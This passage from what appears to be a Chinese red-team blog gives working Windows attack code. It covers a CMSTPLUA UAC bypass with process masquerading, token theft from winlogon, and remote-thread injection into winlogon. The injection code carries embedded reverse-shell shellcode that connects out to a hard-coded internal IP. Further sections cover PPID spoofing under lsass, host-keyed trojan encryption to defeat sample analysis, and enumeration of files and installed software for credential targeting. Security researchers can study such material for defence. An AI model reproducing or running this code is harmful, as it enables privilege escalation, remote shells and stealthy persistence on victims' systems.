    PVOID glCurrentRC;
    PVOID glContext;

    NTSTATUS LastStatusValue;
    UNICODE_STRING StaticUnicodeString;
    WCHAR StaticUnicodeBuffer[261];

    PVOID DeallocationStack;
    PVOID TlsSlots[64];
    LIST_ENTRY TlsLinks;

    PVOID Vdm;
    PVOID ReservedForNtRpc;
    PVOID DbgSsReserved[2];

    ULONG HardErrorMode;
#if defined(_M_X64)
    PVOID Instrumentation[11];
#else
    PVOID Instrumentation[9];
#endif
    GUID ActivityId;

    PVOID SubProcessTag;
    PVOID EtwLocalData;
    PVOID EtwTraceData;
    PVOID WinSockData;
    ULONG GdiBatchCount;

    union
    {
        PROCESSOR_NUMBER CurrentIdealProcessor;
        ULONG IdealProcessorValue;
        struct
        {
            UCHAR ReservedPad0;
            UCHAR ReservedPad1;
            UCHAR ReservedPad2;
            UCHAR IdealProcessor;
        };
    };

    ULONG GuaranteedStackBytes;
    PVOID ReservedForPerf;
    PVOID ReservedForOle;
    ULONG WaitingOnLoaderLock;
    PVOID SavedPriorityState;
    ULONG_PTR SoftPatchPtr1;
    PVOID ThreadPoolData;
    PVOID* TlsExpansionSlots;
#if defined(_M_X64)
    PVOID DeallocationBStore;
    PVOID BStoreLimit;
#endif
    ULONG MuiGeneration;
    ULONG IsImpersonating;
    PVOID NlsCache;
    PVOID pShimData;
    ULONG HeapVirtualAffinity;
    HANDLE CurrentTransactionHandle;
    PTEB_ACTIVE_FRAME ActiveFrame;
    PVOID FlsData;

    PVOID PreferredLanguages;
    PVOID UserPrefLanguages;
    PVOID MergedPrefLanguages;
    ULONG MuiImpersonation;

    union
    {
        USHORT CrossTebFlags;
        USHORT SpareCrossTebBits : 16;
    };
    union
    {
        USHORT SameTebFlags;
        struct
        {
            USHORT SafeThunkCall : 1;
            USHORT InDebugPrint : 1;
            USHORT HasFiberData : 1;
            USHORT SkipThreadAttach : 1;
            USHORT WerInShipAssertCode : 1;
            USHORT RanProcessInit : 1;
            USHORT ClonedThread : 1;
            USHORT SuppressDebugMsg : 1;
            USHORT DisableUserStackWalk : 1;
            USHORT RtlExceptionAttached : 1;
            USHORT InitialThread : 1;
            USHORT SpareSameTebBits : 1;
        };
    };

    PVOID TxnScopeEnterCallback;
    PVOID TxnScopeExitCallback;
    PVOID TxnScopeContext;
    ULONG LockCount;
    ULONG SpareUlong0;
    PVOID ResourceRetValue;
} TEB, * PTEB;

typedef VOID(NTAPI* PLDR_LOADED_MODULE_ENUMERATION_CALLBACK_FUNCTION)(
    _In_    PCLDR_DATA_TABLE_ENTRY DataTableEntry,
    _In_    PVOID Context,
    _Inout_ BOOLEAN* StopEnumeration
    );

typedef PVOID NTAPI RTLINITUNICODESTRING(
    _Inout_	PUNICODE_STRING DestinationString,
    _In_opt_ PCWSTR SourceString
);
typedef RTLINITUNICODESTRING FAR* LPRTLINITUNICODESTRING;
LPRTLINITUNICODESTRING			RtlInitUnicodeString;

typedef NTSTATUS NTAPI RTLENTERCRITICALSECTION(
    _In_ PRTL_CRITICAL_SECTION CriticalSection
);
typedef RTLENTERCRITICALSECTION FAR* LPRTLENTERCRITICALSECTION;
LPRTLENTERCRITICALSECTION			RtlEnterCriticalSection;

typedef NTSTATUS NTAPI RTLLEAVECRITICALSECTION(
    _In_ PRTL_CRITICAL_SECTION CriticalSection
);
typedef RTLLEAVECRITICALSECTION FAR* LPRTLLEAVECRITICALSECTION;
LPRTLLEAVECRITICALSECTION			RtlLeaveCriticalSection;

typedef NTSTATUS NTAPI LDRENUMERATELOADEDMODULES(
    _In_opt_ ULONG Flags,
    _In_ PLDR_LOADED_MODULE_ENUMERATION_CALLBACK_FUNCTION CallbackFunction,
    _In_opt_ PVOID Context);
typedef LDRENUMERATELOADEDMODULES FAR* LPLDRENUMERATELOADEDMODULES;
LPLDRENUMERATELOADEDMODULES			LdrEnumerateLoadedModules;

typedef NTSTATUS NTAPI NTALLOCATEVIRTUALMEMORY(
    _In_        HANDLE ProcessHandle,
    _Inout_     PVOID* BaseAddress,
    _In_        ULONG_PTR ZeroBits,
    _Inout_     PSIZE_T RegionSize,
    _In_        ULONG AllocationType,
    _In_        ULONG Protect
);
typedef NTALLOCATEVIRTUALMEMORY FAR* LPNTALLOCATEVIRTUALMEMORY;
LPNTALLOCATEVIRTUALMEMORY	NtAllocateVirtualMemory;

LPWSTR g_lpszExplorer2 = (LPWSTR)L"C:\\windows\\explorer.exe";

VOID NTAPI supxLdrEnumModulesCallback(
    _In_ PCLDR_DATA_TABLE_ENTRY DataTableEntry,
    _In_ PVOID Context,
    _Inout_ BOOLEAN* StopEnumeration
)
{
    PPEB Peb = (PPEB)Context;
    
    if (DataTableEntry->DllBase == Peb->ImageBaseAddress) {
        RtlInitUnicodeString(&DataTableEntry->FullDllName, g_lpszExplorer2);
        RtlInitUnicodeString(&DataTableEntry->BaseDllName, L"explorer.exe");
        *StopEnumeration = TRUE;
    }
    else {
        *StopEnumeration = FALSE;
    }
}


__inline struct _PEB* NtCurrentPeb() { return NtCurrentTeb()->ProcessEnvironmentBlock; }


VOID supMasqueradeProcess(
    VOID
)
{

    NTSTATUS Status;
    PPEB    Peb = NtCurrentPeb();
    SIZE_T  RegionSize;

    PVOID g_lpszExplorer = NULL;
    RegionSize = 0x1000;
    
    Status = NtAllocateVirtualMemory(
        NtCurrentProcess(),
        &g_lpszExplorer,
        0,
        &RegionSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE);

    if (NT_SUCCESS(Status)) {
        RtlEnterCriticalSection(Peb->FastPebLock);

        RtlInitUnicodeString(&Peb->ProcessParameters->ImagePathName, g_lpszExplorer2);
        RtlInitUnicodeString(&Peb->ProcessParameters->CommandLine, g_lpszExplorer2);

        RtlLeaveCriticalSection(Peb->FastPebLock);

        LdrEnumerateLoadedModules(0, &supxLdrEnumModulesCallback, (PVOID)Peb);
    }
}

HRESULT CoCreateInstanceAsAdmin(HWND hwnd, REFCLSID rclsid, REFIID riid, __out void** ppv)
{

	BIND_OPTS3 bo;
	WCHAR  wszCLSID[50];
	WCHAR  wszMonikerName[300];
	CoInitialize(NULL);
	StringFromGUID2(rclsid, wszCLSID, sizeof(wszCLSID) / sizeof(wszCLSID[0]));
	HRESULT hr = StringCchPrintfW(wszMonikerName, sizeof(wszMonikerName) / sizeof(wszMonikerName[0]), L"Elevation:Administrator!new:%s", wszCLSID);
	if (FAILED(hr))
		return hr;

	memset(&bo, 0, sizeof(bo));

	bo.cbStruct = sizeof(bo);
	bo.hwnd = hwnd;
	bo.dwClassContext = CLSCTX_LOCAL_SERVER;

	return CoGetObject(wszMonikerName, &bo, riid, ppv);
}

BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable)
{
	HRESULT hr = 0;
	CLSID clsidICMLuaUtil = { 0 };
	IID iidICMLuaUtil = { 0 };
	ICMLuaUtil* CMLuaUtil = NULL;
	BOOL bRet = FALSE;


	CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);
	IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);

	CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));
	hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);

	CMLuaUtil->lpVtbl->Release(CMLuaUtil);

	if (GetLastError())
	{
		return FALSE;
	}
	else {
		return TRUE;	
	}
}
/*
int main() {
	CoInitialize(NULL);

	CMLuaUtilBypassUAC((LPWSTR)L"c:\\windows\\system32\\cmd.exe");
	CoUninitialize();
	return 0;
}*/
VOID  main()
{
    NtAllocateVirtualMemory = (LPNTALLOCATEVIRTUALMEMORY)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");
    RtlEnterCriticalSection = (LPRTLENTERCRITICALSECTION)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlEnterCriticalSection");
    RtlInitUnicodeString = (LPRTLINITUNICODESTRING)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlInitUnicodeString");
    RtlLeaveCriticalSection = (LPRTLLEAVECRITICALSECTION)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlLeaveCriticalSection");
    LdrEnumerateLoadedModules = (LPLDRENUMERATELOADEDMODULES)GetProcAddress(GetModuleHandleA("ntdll.dll"), "LdrEnumerateLoadedModules");
    supMasqueradeProcess();
	CMLuaUtilBypassUAC((LPWSTR)L"c:\\windows\\system32\\cmd.exe");
	//CoUninitialize();

}

```

## LINKS

{% embed url="<https://docs.microsoft.com/zh-cn/windows/win32/com/the-com-elevation-moniker?redirectedfrom=MSDN>" %}

{% embed url="<https://www.cnblogs.com/ndyxb/p/12770289.html>" %}


# 通过复制Token提权到SYSTEM

在windows系统中使用一个较高细粒度的Token来区分和管理权限，我们通常说的system权限administrator权限本质上是令牌的完整性和特权不同，通过细粒度较高的特权进行区分。

在本文中，不会对令牌机制进行详细的剖析，只需要知道它本质上是一个内核对象即可，详细的内容会在以后的内核操作文章中详细讲解。

* 下图分别是medium完整性令牌和high完整性令牌。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M54lJ9510O_VVzYnHpS%2F-M54ly1K14M3PvSv_ofc%2Fimage.png?alt=media\&token=dcd18631-fda4-4ff8-ad06-79b7e59374ed)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M54lJ9510O_VVzYnHpS%2F-M54m6MDU51O3yEMWme3%2Fimage.png?alt=media\&token=401c7e52-4af5-4f7a-8c3f-f3f6f2d9d408)

## 提权流程

1. 打开system权限进程
2. 复制system权限进程Token
3. 使用复制Token打开新进程

## 代码实现

默认配置的管理员拥有SeDebugPrivilege，该权限用于调试进程，是否拥有直接决定你是否能打开写入调试注入如winlogon,system等进程。

```
#include <windows.h>
#include <iostream>
#include <Lmcons.h>
#include <TlHelp32.h>

BOOL SePrivTokenrivilege(
	HANDLE hToken,          
	LPCTSTR lpszPrivilege, 
	BOOL bEnablePrivilege  
)
{
	LUID luid;

	if (!LookupPrivilegeValue(
		NULL,            
		lpszPrivilege,  
		&luid))       
	{
		return FALSE;
	}

	TOKEN_PRIVILEGES PrivToken;
	PrivToken.PrivilegeCount = 1;
	PrivToken.Privileges[0].Luid = luid;
	if (bEnablePrivilege)
		PrivToken.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	else
		PrivToken.Privileges[0].Attributes = 0;


	if (!AdjustTokenPrivileges(
		hToken,
		FALSE,
		&PrivToken,
		sizeof(TOKEN_PRIVILEGES),
		(PTOKEN_PRIVILEGES)NULL,
		(PDWORD)NULL))
	{
		return FALSE;
	}

	return TRUE;
}


DWORD FindProcessPID(const wchar_t* ProcessName) {
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	PROCESSENTRY32 process = { 0 };
	process.dwSize = sizeof(process);

	if (Process32First(snapshot, &process)) {
		do {
			if (!wcscmp((const wchar_t*)process.szExeFile,(const wchar_t*)ProcessName))
				break;
		} while (Process32Next(snapshot, &process));
	}

	CloseHandle(snapshot);
	return process.th32ProcessID;
}

int main(int argc, char** argv) {
	HANDLE hDpToken = NULL;
	
	

	HANDLE hCurrentToken = NULL;
	BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hCurrentToken);
	SePrivTokenrivilege(hCurrentToken, L"SeDebugPrivilege", TRUE);

	DWORD PID_TO_IMPERSONATE = FindProcessPID(L"Winlogon.exe");
	HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, true, PID_TO_IMPERSONATE);


	HANDLE hToken = NULL;
	BOOL TokenRet = OpenProcessToken(hProcess,
		TOKEN_DUPLICATE |
		TOKEN_ASSIGN_PRIMARY |
		TOKEN_QUERY, &hToken);

	BOOL impersonateUser = ImpersonateLoggedOnUser(hToken);
	if (GetLastError() == NULL)
	{
		RevertToSelf();
	}

	
	BOOL dpToken = DuplicateTokenEx(hToken, 
		TOKEN_ADJUST_DEFAULT |
		TOKEN_ADJUST_SESSIONID |
		TOKEN_QUERY |
		TOKEN_DUPLICATE |
		TOKEN_ASSIGN_PRIMARY,
		NULL,
		SecurityImpersonation,
		TokenPrimary,
		&hDpToken
	);


	STARTUPINFO startupInfo = {0};
	startupInfo.cb = sizeof(STARTUPINFO);
	PROCESS_INFORMATION ProcessInfo = {0};

	BOOL Ret = CreateProcessWithTokenW(hDpToken,
		LOGON_WITH_PROFILE,
		L"C:\\Windows\\System32\\cmd.exe",
		NULL, 0, NULL, NULL,
		&startupInfo,
		&ProcessInfo);


	return TRUE;
}
```

## LINKS

{% embed url="<https://docs.microsoft.com/zh-cn/azure/active-directory/develop/access-tokens>" %}


# 通过code\&dll注入提权到SYSTEM

## 简介

在bypassUac后提权到SYSTEM权限的方式有很多种，而本文介绍的这种可以称之为最经典的一种，本质上这是一种代码注入技术，但是由于在宿主进程创建线程，那么该线程会继承宿主线程的权限，由于session0的隔离，我们需要寻找一个和用户处于同一session的system权限进程，然后把代码注入并创建远程线程，那我们就取得了以该进程权限执行的线程或进程。

## 提权流程

1. 寻找system权限用户session进程
2. 打开该进程句柄
3. 写入代码或dll路径
4. 创建远程线程

## 代码实现

代码延用经典远程线程注入。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M4qYI7hp_FqRQqaDldR%2F-M4qYNakdg2vQQn_OcDV%2Fimage.png?alt=media\&token=514f199c-c88c-4f7a-ac96-ed9951e6e684)

通常winlogon进程就处于用户同一session，而且是system权限的，这样的进程可以通过任务管理器查看。

* code injection

```
#include <stdio.h>
#include <Windows.h>
#include <Tlhelp32.h>
char shellcode[] = (
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b"
"\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41"
"\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1"
"\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
"\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"
"\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
"\x49\xbc\x02\x00\x11\x5c\xc0\xa8\xba\x80\x41\x54\x49\x89\xe4"
"\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
"\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a"
"\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"
"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"
"\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
"\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
"\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
"\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"
"\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
"\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5");

DWORD GetProcessIdByName(LPCTSTR lpszProcessName)
{
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapshot == INVALID_HANDLE_VALUE)
	{
		return 0;
	}

	PROCESSENTRY32 pe;
	pe.dwSize = sizeof pe;

	if (Process32First(hSnapshot, &pe))
	{
		do {
			if (lstrcmpi(lpszProcessName, pe.szExeFile) == 0)
			{
				CloseHandle(hSnapshot);
				return pe.th32ProcessID;
			}
		} while (Process32Next(hSnapshot, &pe));
	}

	CloseHandle(hSnapshot);
	return 0;
}

int main()
{
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, GetProcessIdByName((LPCTSTR)"winlogon.exe"));
    LPVOID lpBaseAddress = VirtualAllocEx(hProcess, 0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, lpBaseAddress, shellcode, sizeof(shellcode), NULL);
    CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)lpBaseAddress, 0, 0, 0);
    return 0;
}

```

* dll  injection&#x20;

```
#include <stdio.h>
#include <Windows.h>
#include <Tlhelp32.h>
DWORD GetProcessIdByName(LPCTSTR lpszProcessName)
{
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hSnapshot == INVALID_HANDLE_VALUE)
	{
		return 0;
	}

	PROCESSENTRY32 pe;
	pe.dwSize = sizeof pe;

	if (Process32First(hSnapshot, &pe))
	{
		do {
			if (lstrcmpi(lpszProcessName, pe.szExeFile) == 0)
			{
				CloseHandle(hSnapshot);
				return pe.th32ProcessID;
			}
		} while (Process32Next(hSnapshot, &pe));
	}

	CloseHandle(hSnapshot);
	return 0;
}
char path[] = "C:\\Users\\Black Sheep\\source\\repos\\CreateRemoteThread\\x64\\Release\\TestDll.dll";

int main()
{
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, GetProcessIdByName((LPCTSTR)"winlogon.exe"));
    
    LPVOID lpBaseAddress = VirtualAllocEx(hProcess, 0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, lpBaseAddress, path, sizeof(path), NULL);
    LPTHREAD_START_ROUTINE pLoadlibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
    CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)pLoadlibrary, lpBaseAddress, 0, 0);
    return 0;
}

```

## LINKS

{% embed url="<https://idiotc4t.gitbook.io/idiotc4t-s-blog/code-and-dll-process-injection/createremotethread>" %}


# 通过伪装PPID提权到SYSTEM

PPID-Priv

## 简介

在指定父进程句柄的时候,子进程同时也会继承父进程的权限，这样的话我们也可以通过伪装PPID的方式进行提权，但是这样的技术会有一个较大的缺陷，如果使用process explorer等进程监控软件查看的话会显示在系统权限的进程下派生出了一个子进程，这样会有较大的特征,更容易会被发现，当然也可以通过其他技术手段进行为伪装。

ps:需要管理员权限

## 代码实现

```
        STARTUPINFOEX sie = { sizeof(sie) };
        PROCESS_INFORMATION pi;
        SIZE_T cbAttributeListSize = 0;
        PPROC_THREAD_ATTRIBUTE_LIST pAttributeList = NULL;
        HANDLE hParentProcess = NULL;
        DWORD dwPid = 0;

        dwPid = FindProcessPID(L"lsass.exe");

            InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttributeListSize);
            pAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, cbAttributeListSize);
            InitializeProcThreadAttributeList(pAttributeList, 1, 0, &cbAttributeListSize);
            hParentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
            UpdateProcThreadAttribute(pAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL);

            sie.lpAttributeList = pAttributeList;
            CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (LPSTARTUPINFOA)&sie.StartupInfo, &pi);

            DeleteProcThreadAttributeList(pAttributeList);
            CloseHandle(hParentProcess);
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M3xxlyWtQ6SVJ87NnYh%2F-M3xxowBhf1NWVXThY28%2Fimage.png?alt=media\&token=40f1ce6a-64d5-486e-a7f8-781f977f4a00)

## LINKS

{% embed url="<https://docs.microsoft.com/zh-cn/windows/win32/api>" %}


# 通过系统服务提权到SYSTEM

## 简介

代码延用[自启动服务](/persistence/startup-service)，由于服务工作在system用户，天生具有很高权限，所以当我们可以控制创建修改进程时，就能轻易的从administrator权限提升到system权限。

## 实现效果

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M7BN5iekmi_DoZULDzB%2F-M7BPkwdA5H3wiEPcpaj%2Fimage.png?alt=media\&token=b03e4a27-8b0c-4bbc-b4bb-65f9a2b3459e)


# 主机特征绑定木马

## 简介

我们在搞下一台机器的时候需要留下一个后门作为下次造访的通道，那么这个后门能存活多久同时不被发现就是我们首要解决的问题，借鉴以往同行的经验，通常我们可以使用一些反沙箱与反调试的功能来保障木马的存货，但这也只是缓兵之计，只要我们定制的木马体作为样本被上传到云端，那么这个马距离全球联保的时间也不远了，那么我们有没有一种方法可以保障我们的木马无法被分析呢。

由于是出于驻留目的编写的木马，所以不用考虑泛用性。

本文提出两种思路，第一种思路是使木马无法脱离当前环境执行，第二种对抗杀软使其无法上传样本。

## 思路

### 1.主机绑定

1. 使用主机特征加密实际木马体。
2. 读取Machine id(也可使用其他主机特征)加密木马体(如shellcode)
3. 使用读取到的machineid加密shellcode
4. 编写读取当前主机machineid并尝试解密执行的木马

### 2.执行分离

1. 将木马体写在无法上传的位置
2. 编写定制执行器

## 伪代码

windows会在安装后生成一个product ID(可以使用主板序号、cpu编号、用户名等主机特征)该值理论上唯一，我们可以读取这个值作为密钥加密我们的木马体，然后编写读取当前环境值的加载器。 &#x20;

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MXXFnzVachY-B2AudrO%2F-MXXGJTTpfzDR1Dm2IMG%2Fimage.png?alt=media\&token=3f0fd45c-054e-4649-9cd8-e399793c5e0e)

这个就写伪代码了。

加密部分

```
shellcode="XXXX"
key = read('xxx')
def encode(key,shellcode){
    自有算法处理shellcode
    return encode_shellcode
    }
print encode(key,shellcode)
```

解密部分

```
encode_shellcode="xxxx"
key = read('xxx')
def decode(key,encode_shellcode){
    自有算法解密shellcode
    return shellcode
}
shellcode=decode(key,shellcode)
shellcode()
```


# 寻找有价值的文件

## 简介

我也不知道这玩意大概有什么价值，只是说一般成熟的集成攻击框架内基本都有这样的功能，能从操作系统中搜索带有特定关键字或后缀的文件，这些文件能很大程度帮助我们更好的完成红队任务，虽然此类功能一般也不会被杀软拦掉(略略略)。(可别拿去写勒索病毒！)。

## 流程

1. 通过路径创建一个搜索句柄
2. 遍历这个搜索句柄

## 代码

这玩意就比较简单了，和之前遍历进程的功能非常相似，同样也是用到了操作系统提供的api。

```
HANDLE FindFirstFileA(
  LPCSTR             lpFileName,
  LPWIN32_FIND_DATAA lpFindFileData
);

BOOL FindNextFileA(
  HANDLE             hFindFile,
  LPWIN32_FIND_DATAA lpFindFileData
);
```

需要注意的是搜索句柄需要用FindClose函数来关闭。

如果需要更细粒度的文件遍历可以使用FindFirstFileEx去创建搜索句柄。

```
#include <Windows.h>
#include <stdio.h>
#include <string.h>

void SearchFile(char* pszDirectory,char* pszSuffix)
{
	DWORD dwBufferSize = 2048;
	char FileName[MAX_PATH] = {0};
	char TempPath[MAX_PATH] = {0};
	WIN32_FIND_DATA fdFileData = { 0 };


	wsprintf(FileName, "%s\\*.*", pszDirectory);

	HANDLE hFile = FindFirstFileA(FileName, &fdFileData);

	if (INVALID_HANDLE_VALUE != hFile)
	{
		do
		{
			if ('.' == fdFileData.cFileName[0])
			{
				continue;
			}
			wsprintf(TempPath, "%s\\%s", pszDirectory, fdFileData.cFileName);
			if (fdFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
			{
				SearchFile(TempPath, pszSuffix);
			}
			else
			{
				if (strstr(TempPath, pszSuffix))
				{
					printf("%s\n", TempPath);
				}
			}

		} while (FindNextFileA(hFile, &fdFileData));
	}

	FindClose(hFile);
}

int main(int argc, char* argv[])
{
	SearchFile((char*)"C:\\Users\\Black Sheep\\Desktop",(char*)".exe");

	return 0;
}
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MCCNxeXUxrcpe_YyJGm%2F-MCCQc43wyU-UUrHtqDG%2Fimage.png?alt=media\&token=12ba55fa-e530-467a-98d4-448ed38768af)

## LINKS

{% embed url="<https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-findnextfilea>" %}


# 获取机器安装的软件

## 简介

通常在获取到入口点之后我们需要快速收集当前主机的凭证，如chrome和navicat内存放的密码，如果能快速取得主机上安装的软件我们就能针对该软件进行密码的提取，本篇文章旨在解决这个问题。

## 原理

也没什么原理，主要是windows在安装软件的时候会注册一些注册表项，这些表项会存放着软件的相关信息。

比如我们熟知的卸载功能：

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MG2cLbsT_sPZckgF62A%2F-MG2dpyXEAjXpQY1S8l-%2Fimage.png?alt=media\&token=b8efe620-b8b5-4b01-a2c4-19bea0540c2b)

具体定位到注册表则HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\\\*

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MG2cLbsT_sPZckgF62A%2F-MG2e7ZycFtfF2232mXa%2Fimage.png?alt=media\&token=c90fc0c7-5949-4e37-8f51-15522b2efc2a)

与之相似的还有WMI class。

注册表则是HKEY\_LOCAL\_MACHINE\SOFTWARE\Classes\Installer\Products\\\*

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MG2eFYMjiD0mkORcO5H%2F-MG2eoOusA4xlzTuSlwO%2Fimage.png?alt=media\&token=5973ad82-c960-4245-a41d-b907ceba52c3)

我们可以通过读取注册表子项的键值对来进行快速的确认，投入实战的话需要对系统进行判断，如果是x64位系统则需要对32位程序也进行遍历。（x64系统存在注册表重定位）

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MG2fKIRnRLnD3N8D6vr%2F-MG2gudQhxbYXvfjOqp-%2Fimage.png?alt=media\&token=3f8d53d0-8745-4645-8186-90375d7dec4d)

当然这种方式仅对完整安装的软件有效，如果是绿色版的软件则只能通过手工或自动化搜索的方式查找。

## 代码

```

#include <stdio.h>
#include <Windows.h>
#include <tchar.h>


BOOL EnumInstalledSoft(TCHAR* subKey, TCHAR* subKeyName) {

	HKEY hKey = NULL;
	HKEY hSubKey = NULL;
	DWORD dwIndexs = 0;
	TCHAR keyName[MAX_PATH] = { 0 };
	DWORD dwLength = 256;
	TCHAR subKeyValue[MAX_PATH] = { 0 };


	if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, subKey, 0, KEY_READ, &hKey) == ERROR_SUCCESS)
	{
		while (RegEnumKeyEx(hKey, dwIndexs, keyName, &dwLength, NULL, NULL, NULL, NULL) == ERROR_SUCCESS)
		{
			RegOpenKey(hKey, keyName, &hSubKey);

			RegQueryValueEx(hSubKey,
				subKeyName,
				NULL,
				NULL,
				(LPBYTE)subKeyValue,
				&dwLength);

			printf("%s : %s  \n", keyName, subKeyValue);
			RegCloseKey(hSubKey);
			hSubKey = 0;
			++dwIndexs;
			dwLength = 256;
		}
	}
	else
	{
